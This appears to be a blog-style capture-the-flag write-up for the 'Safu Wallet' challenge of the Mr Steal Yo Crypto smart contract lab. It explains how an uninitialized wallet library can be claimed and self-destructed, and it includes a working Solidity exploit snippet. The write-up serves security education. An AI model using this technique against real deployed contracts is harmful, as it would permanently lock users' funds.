This is the #5 challenge of Mr Steal Yo Crypto. I will try to explain how to find the vulnerability.
A set of challenges to learn offensive security of smart contracts. Featuring interesting challenges loosely (or directly) inspired by real-world exploits.
Created by @0xToshii
I used the foundry version for this CTF: mr-steal-yo-crypto-ctf-foundry
Safu Wallet
After Safu Labs’ SafuVault product was exploited, they decided to start fresh and venture into the secure web3 tooling space — what could go wrong.
They’ve launched their first product: a multi-sig wallet, and have already onboarded a user.
Your task is to grief that user by trapping their funds inside the wallet.
Review of the contracts
ISafuWalletLibrary.sol
I have nothing to say about an interface.
SafuWallet.sol
The first thing that warned me is that _safuWalletLibrary
is a constant address. Normally, a library is directly imported into the contract.
SafuWalletLibrary.sol
Now we know _safuWalletLibrary
is another deployed contract. Maybe we will see something interesting inside this contract:
kill()
: we can destruct the contract if we can bypass the modifieronlymanyowners()
.onlymanyowners()
: The modifier callsconfirmAndCheck()
, so we will look into it.confirmAndCheck()
: There are a bunch of conditions, if we are able to setm_ownerIndex[uint(msg.sender)] = 1
then we can destruct the library.- We can set
m_ownerIndex[uint(msg.sender)] = 1
insideinitMultiowned()
. This function is called insideinitWallet()
, but this one is only callable one time due to the modifieronly_uninitialized
.
I already know how to bypass the modifier only_uninitialized
so let’s go to the next part.
Exploit the vulnerability
This challenge was very easy. The library is a deployed contract, so if we are able to destruct the contract, we pass the challenge.
And wow! What a surprise, when we go to the test file it seems that the function initWallet()
is never called. It means that I’m able to call initWallet
(we pass the modifier only_uninitialized
). After that call, we have now m_ownerIndex[uint(msg.sender)] = 1
. Now we can destruct the contract.
//We are in a situation where safuWalletLibrary is deployed but not initialized and so all the variable are at 0
// After the deployment of safuWallet, we might think that the variable inside safuWalletLibrary are updated
// However, during a delegate call, the caller storage is updated not the callee
// (In this challenge, we have a storage collision but not useful)
// And so the variables inside safuWalletLibrary are still at 0
// We are able to kill safuWalletLibrary ->safuWallet is unable to do a delegate call for this address
//Call initWallet() in order to get the ownership
addresses = new address[](1);
addresses[0] = attacker;
data = abi.encodeWithSignature("initWallet(address[],uint256,uint256)", addresses, 1, type(uint).max);
address(safuWalletLibrary).call(data);
//call kill() in order to destruct the contract
data = abi.encodeWithSignature("kill(address)", address(attacker));
address(safuWalletLibrary).call(data);
You can check my test file here.
Acknowledgement
Thank you https://stermi.xyz/ for inspiring me to write articles on CTF ^^.